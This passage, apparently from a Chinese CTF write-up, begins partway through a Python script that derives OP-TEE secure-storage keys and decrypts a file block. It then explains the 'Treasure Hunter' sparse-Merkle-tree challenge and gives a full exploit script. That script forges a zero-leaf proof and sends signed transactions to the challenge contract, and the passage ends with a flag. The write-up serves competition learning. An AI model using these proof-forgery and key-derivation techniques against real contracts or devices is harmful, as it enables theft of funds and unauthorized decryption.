Tee_fs_htree_image_1_imeta = data[offset + 0x30 : offset + 0x40]
Tee_fs_htree_image_1_counter = struct.unpack("I", data[offset + 0x40 : offset + 0x44])[0]
print (bytesToHexString(Tee_fs_htree_image_1_iv))
print (bytesToHexString(Tee_fs_htree_image_1_tag))
print (bytesToHexString(Tee_fs_htree_image_1_enc_fek))
print (bytesToHexString(Tee_fs_htree_image_1_imeta))
print (Tee_fs_htree_image_1_counter)
print (".......... Tee_fs_htree_node_image ver0 ..............")
offset = 0x1000
Tee_fs_htree_node_image_0_hash = data[offset + 0x00: offset + 0x20]
Tee_fs_htree_node_image_0_iv = data[offset + 0x20 : offset + 0x30]
Tee_fs_htree_node_image_0_tag = data[offset + 0x30 : offset + 0x40]
Tee_fs_htree_node_image_0_flags = struct.unpack("H", data[offset + 0x40 : offset + 0x42])[0]
print(bytesToHexString(Tee_fs_htree_node_image_0_hash))
print(bytesToHexString(Tee_fs_htree_node_image_0_iv))
print(bytesToHexString(Tee_fs_htree_node_image_0_tag))
print(Tee_fs_htree_node_image_0_flags)
print (".......... Tee_fs_htree_node_image ver1 ..............")
offset = 0x1042
Tee_fs_htree_node_image_1_hash = data[offset + 0x00: offset + 0x20]
Tee_fs_htree_node_image_1_iv = data[offset + 0x20 : offset + 0x30]
Tee_fs_htree_node_image_1_tag = data[offset + 0x30 : offset + 0x40]
Tee_fs_htree_node_image_1_flags = struct.unpack("H", data[offset + 0x40 : offset + 0x42])[0]
print(bytesToHexString(Tee_fs_htree_node_image_1_hash))
print(bytesToHexString(Tee_fs_htree_node_image_1_iv))
print(bytesToHexString(Tee_fs_htree_node_image_1_tag))
print(Tee_fs_htree_node_image_1_flags)
HUK = b'\x00'*0x10
chip_id = b'BEEF'*8
static_string = b'ONLY_FOR_tee_fs_ssk'
message = chip_id + static_string + b'\x00'
#message = b'\x01\x00\x00\x00'
#message = static_string
#SSK = HMAC(HUK, chip_id, digestmod=sha256)
#SSK.update(static_string)
#SSK = SSK.digest()
SSK = HMAC(HUK, message, digestmod=sha256).digest()
print ("SSK: " + bytesToHexString(SSK))
ta_uuid = b'\xbb\x50\xe7\xf4\x37\x14\xbf\x4f\x87\x85\x8d\x35\x80\xc3\x49\x94'
#ta_uuid = b"\xF4\xE7\x50\xBB\x14\x37\x4F\xBF\x87\x85\x8D\x35\x80\xC3\x49\x94"
#ta_uuid = b"\xb6\x89\xf2\xa7\x8a\xdf\x47\x7a\x9f\x99\x32\xe9\x0c\x0a\xd0\xa2"
#ta_uuid = b"\xb6\x89\xf2\xa7"[::-1] + b"\x8a\xdf"[::-1] + b"\x47\x7a"[::-1] + b"\x9f\x99\x32\xe9\x0c\x0a\xd0\xa2"
TSK = HMAC(SSK, ta_uuid, digestmod=sha256).digest()
print ("TSK: " + bytesToHexString(TSK))
Enc_FEK = Tee_fs_htree_image_1_enc_fek
#Enc_FEK = b"\xf8\x83\x1a\xf3\x80\x0b\x72\xeb\xdb\xc7\x50\x27\xcb\xf2\xf4\xe7"
FEK = AES_Decrypt_ECB(TSK, Enc_FEK)
print ("FEK: " + bytesToHexString(FEK))
#test()
"""
print ("........ decrypt meta data ...........")
cipher = AES.new(FEK, AES.MODE_GCM, nonce = Tee_fs_htree_image_1_iv)
cipher.update(Tee_fs_htree_node_image_1_hash)
cipher.update(Tee_fs_htree_image_1_counter.to_bytes(4, "little"))
cipher.update(Enc_FEK)
cipher.update(Tee_fs_htree_image_1_iv)
plaintext = cipher.decrypt_and_verify(Tee_fs_htree_image_1_imeta, Tee_fs_htree_image_1_tag)
print (plaintext)
"""
print ("........ decrypt block data ...........")
block_0 = data[0x2000:0x3000]
#block_1 = data[0x3000:0x4000]
cipher = AES.new(FEK, AES.MODE_GCM, nonce = Tee_fs_htree_node_image_1_iv)
cipher.update(Enc_FEK)
cipher.update(Tee_fs_htree_node_image_1_iv)
plaintext = cipher.decrypt_and_verify(block_0, Tee_fs_htree_node_image_1_tag)
print (plaintext)Crypto
Treasure Hunter
题目实现了一个 Sparse Merkle Tree 稀疏的默克尔树。
每个叶子节点是个 key-value 对：
- Key: 01串，表示根到节点的路径，0 左子树，1 右子树
- Value: 0表示空， 1表示非空（需要hash）。空节点哈希值为0
根节点高度为160
一些关键函数：
calcRoot：输入部分叶子节点(_leaves)和部分中间节点(_proofs)，计算树的哈希值
Opcode:
- 0x4c: 把 leaf 压栈
- 0x50 height proof: 把栈顶一个高度为height的元素，与proof合并，产生一个高度为height+1的元素
- 0x48 height: 把栈顶两个高度为height元素，合并成一个高度为height+1的元素
- update：输入部分叶子节点(_prevLeaves)和部分中间节点(_proofs)，把这些叶子值替换成_nextLeaves，返回新的哈希值
updateSingleTarget：修改_target位置的叶子的值
verify：输入部分叶子节点(_leaves)和部分中间节点(_proofs)，检查树的哈希值是否为_expectedRoot
verifyByMode：检查一些叶子节点是否都非0，或都是0
题目要求同时找到宝箱和钥匙
findKey，如果在msg.sender位置的值是0，就找到了钥匙 pickupTreasureChest，如果在msg.sender位置的值是1，就找到了宝箱 enter和leave可以修改msg.sender位置的叶子值 找到钥匙后，无法设置修改msg.sender叶子值为1 找到宝箱后，无法设置修改msg.sender叶子值为0
空节点的哈希都是0，空节点与其他节点合并时，不会再计算一层哈希值
所以树的深度意义不大，如果一个有子树是一条单链（无分叉，周围都是空节点），就等同于一个叶子节点
所以，可以把树上的空节点都删掉，长链也可以删掉 初始时树是这样，下面画出来的叶子都是1，地址由hunters数组确定。所有空节点和长链都压缩掉了
攻击方法：
注意到在calcRoot函数里，计算顺序是完全由proofs确定的，所用到的值由proofs和leaves确定。proofs是完全可控的，leaves就是 {key: msg.sender, value: 0/1}，由于0在merge时不起任何作用，所以能伪造值为0的叶子。
- 调用enter，增加叶子节点 msg.sender
- 调用pickupTreasureChest，拿到宝箱
- findKey的要验证msg.sender处的value=0。构造一个proof，先把value=0的叶子压栈，让它左子树的哈希值合并，再与右子树的哈希值合并，这样就能通过验证，拿到钥匙。
exp.py:
from web3 import Web3,HTTPProvider
from typing import Tuple, List
from web3 import Web3
import bisect
w3=Web3(HTTPProvider('http://47.243.235.111:8545'))
abi="""[
{
"inputs": [
{
"internalType": "bytes32[]",
"name": "_proofs",
"type": "bytes32[]"
}
],
"name": "enter",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "bytes32[]",
"name": "_proofs",
"type": "bytes32[]"
}
],
"name": "findKey",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "bytes32[]",
"name": "_proofs",
"type": "bytes32[]"
}
],
"name": "leave",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "_from",
"type": "address"
}
],
"name": "FindKey",
"type": "event"
},
{
"inputs": [],
"name": "openTreasureChest",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "_from",
"type": "address"
}
],
"name": "OpenTreasureChest",
"type": "event"
},
{
"inputs": [
{
"internalType": "bytes32[]",
"name": "_proofs",
"type": "bytes32[]"
}
],
"name": "pickupTreasureChest",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "_from",
"type": "address"
}
],
"name": "PickupTreasureChest",
"type": "event"
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "haveKey",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "haveTreasureChest",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "isSolved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "root",
"outputs": [
{
"internalType": "bytes32",
"name": "",
"type": "bytes32"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "smtMode",
"outputs": [
{
"internalType": "enum SMT.Mode",
"name": "",
"type": "uint8"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "solved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
]"""
acct = w3.eth.account.from_key('your_private_key')
contract_address='your_want_attack_contract_address'
contract=w3.eth.contract(abi=abi,address=contract_address)
def to_bytes32(a: int) -> bytes:
return a.to_bytes(32, 'big')
def abi_encode(a: int, b: int):
a = to_bytes32(a)
b = to_bytes32(b)
return a + b
def merge(l, r):
if l == 0:
return r
if r == 0:
return l
return Web3.toInt(Web3.keccak(abi_encode(l, r)))
class Tree:
def __init__(self, value: int):
self.value = value
def build_proofs(self):
raise NotImplementedError
def has_abnormal(self):
raise NotImplementedError
class TreeElem(Tree):
def __init__(self, path: int, normal: bool = True):
self.path = path
self.normal = normal
value = Web3.toInt(Web3.keccak(abi_encode(path, 1)))
super().__init__(value)
def build_proofs(self):
assert self.has_abnormal()
return [0x4c]
def has_abnormal(self):
return not self.normal
class TreeBranch(Tree):
def __init__(self, nbit: int, left: Tree, right: Tree):
self.nbit = nbit
self.left = left
self.right = right
value = merge(left.value, right.value)
super().__init__(value)
def build_proofs(self):
if self.left.has_abnormal():
return self.left.build_proofs() + [0x50, self.nbit, self.right.value]
elif self.right.has_abnormal():
return self.right.build_proofs() + [0x50, self.nbit, self.left.value]
else:
raise RuntimeError
def has_abnormal(self):
return self.left.has_abnormal() or self.right.has_abnormal()
def get_root(vals, is_normal, nbit=160) -> Tree:
assert len(vals) > 0
if len(vals) == 1:
return TreeElem(vals[0], is_normal(vals[0]))
lvals = []
rvals = []
for x in vals:
if (x >> (nbit-1)) & 1:
rvals.append(x)
else:
lvals.append(x)
if len(lvals) == 0:
return get_root(rvals, is_normal, nbit-1)
if len(rvals) == 0:
return get_root(lvals, is_normal, nbit-1)
l = get_root(lvals, is_normal, nbit-1)
r = get_root(rvals, is_normal, nbit-1)
return TreeBranch(nbit-1, l, r)
def remove_node(tree: Tree, path: int) -> Tree:
if isinstance(tree, TreeElem):
return TreeElem(path, tree.normal)
if isinstance(tree, TreeBranch):
if (path >> tree.nbit) & 1:
t = TreeBranch(tree.nbit, tree.left, remove_node(tree.right, path))
else:
t = TreeBranch(tree.nbit, remove_node(tree.left, path), tree.right)
t.value = tree.value
return t
def emulate(proofs: List[int], leaves: List[Tuple[int,int]]) -> int:
stack_keys = []
stack_values = []
i = 0
j = 0
while i < len(proofs):
if proofs[i] == 0x4c:
stack_keys.append(leaves[j][0])
stack_values.append(leaves[j][1])
j += 1
i += 1
elif proofs[i] == 0x50:
height = proofs[i+1]
proof = proofs[i+2]
key = stack_keys.pop()
value = stack_values.pop()
if (key >> height) & 1:
stack_values.append(merge(proof, value))
else:
stack_values.append(merge(value, proof))
stack_keys.append(key >> (height+1) << (height+1))
i += 3
elif proofs[i] == 0x48:
height = proofs[i+1]
k1 = stack_keys.pop()
k2 = stack_keys.pop()
v1 = stack_values.pop()
v2 = stack_values.pop()
aset = (k2 >> height) & 1
bset = (k1 >> height) & 1
stack_keys.append(k1 >> (height+1) << (height+1))
assert aset != bset
if aset:
stack_values.append(merge(v1, v2))
else:
stack_values.append(merge(v2, v1))
i += 2
else:
raise ValueError
assert len(stack_keys) == 1
assert j == len(leaves)
return stack_values[0]
hunters = [
0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e,
0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45,
0x6B175474E89094C44Da98b954EedeAC495271d0F,
0x6B3595068778DD592e39A122f4f5a5cF09C90fE2,
0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B,
0xc00e94Cb662C3520282E6f5717214004A7f26888,
0xD533a949740bb3306d119CC777fa900bA034cd52,
0xdAC17F958D2ee523a2206206994597C13D831ec7,
]
def solve(deployer_addr: int):
tree = get_root(hunters, lambda _: True)
index = bisect.bisect_left(hunters, deployer_addr)
new_values = hunters[:]
new_values.insert(index, deployer_addr)
new_tree = get_root(new_values, lambda x: x != deployer_addr)
proofs = new_tree.build_proofs()
assert emulate(proofs, [(deployer_addr, 0)]) == tree.value
assert emulate(proofs, [(deployer_addr, Web3.toInt(Web3.keccak(abi_encode(deployer_addr, 1))))]) == new_tree.value
one_pos = 0
while ((deployer_addr >> one_pos) & 1) == 0:
one_pos += 1
zero_pos = 0
while ((deployer_addr >> zero_pos) & 1) == 1:
zero_pos += 1
proofs2 = [0x4c, 0x50, one_pos, new_tree.left.value, 0x50, zero_pos, new_tree.right.value]
assert emulate(proofs2, [(deployer_addr, 0)]) == new_tree.value
proofs = list(map(to_bytes32, proofs))
proofs2 = list(map(to_bytes32, proofs2))
# print("enter", proofs)
# print("pickupTreasureChest", proofs)
# print("findKey", proofs2)
return proofs, proofs2
proofs,proofs2=solve(acct.address)
enter_txn = contract.functions.enter(proofs).buildTransaction({
'nonce': w3.eth.getTransactionCount(acct.address),
'gas': 300000,
'gasPrice': w3.eth.gasPrice
})
signed = acct.signTransaction(enter_txn)
tx_id = w3.eth.sendRawTransaction(signed.rawTransaction)
print(tx_id.hex())
pickupTreasureChest_txn = contract.functions.pickupTreasureChest(proofs).buildTransaction({
'nonce': w3.eth.getTransactionCount(acct.address),
'gas': 300000,
'gasPrice': w3.eth.gasPrice
})
signed = acct.signTransaction(pickupTreasureChest_txn)
tx_id = w3.eth.sendRawTransaction(signed.rawTransaction)
print(tx_id.hex())
findKey_txn = contract.functions.findKey(proofs2).buildTransaction({
'nonce': w3.eth.getTransactionCount(acct.address),
'gas': 300000,
'gasPrice': w3.eth.gasPrice
})
signed = acct.signTransaction(findKey_txn)
tx_id = w3.eth.sendRawTransaction(signed.rawTransaction)
print(tx_id.hex())
openTreasureChest_txn = contract.functions.openTreasureChest().buildTransaction({
'nonce': w3.eth.getTransactionCount(acct.address),
'gas': 300000,
'gasPrice': w3.eth.gasPrice
})
signed = acct.signTransaction(openTreasureChest_txn)
tx_id = w3.eth.sendRawTransaction(signed.rawTransaction)
print(tx_id.hex())Misc
Quadrennial
签到题 :d Flag:
rwctf{Super_Hunters_Conquer_Together}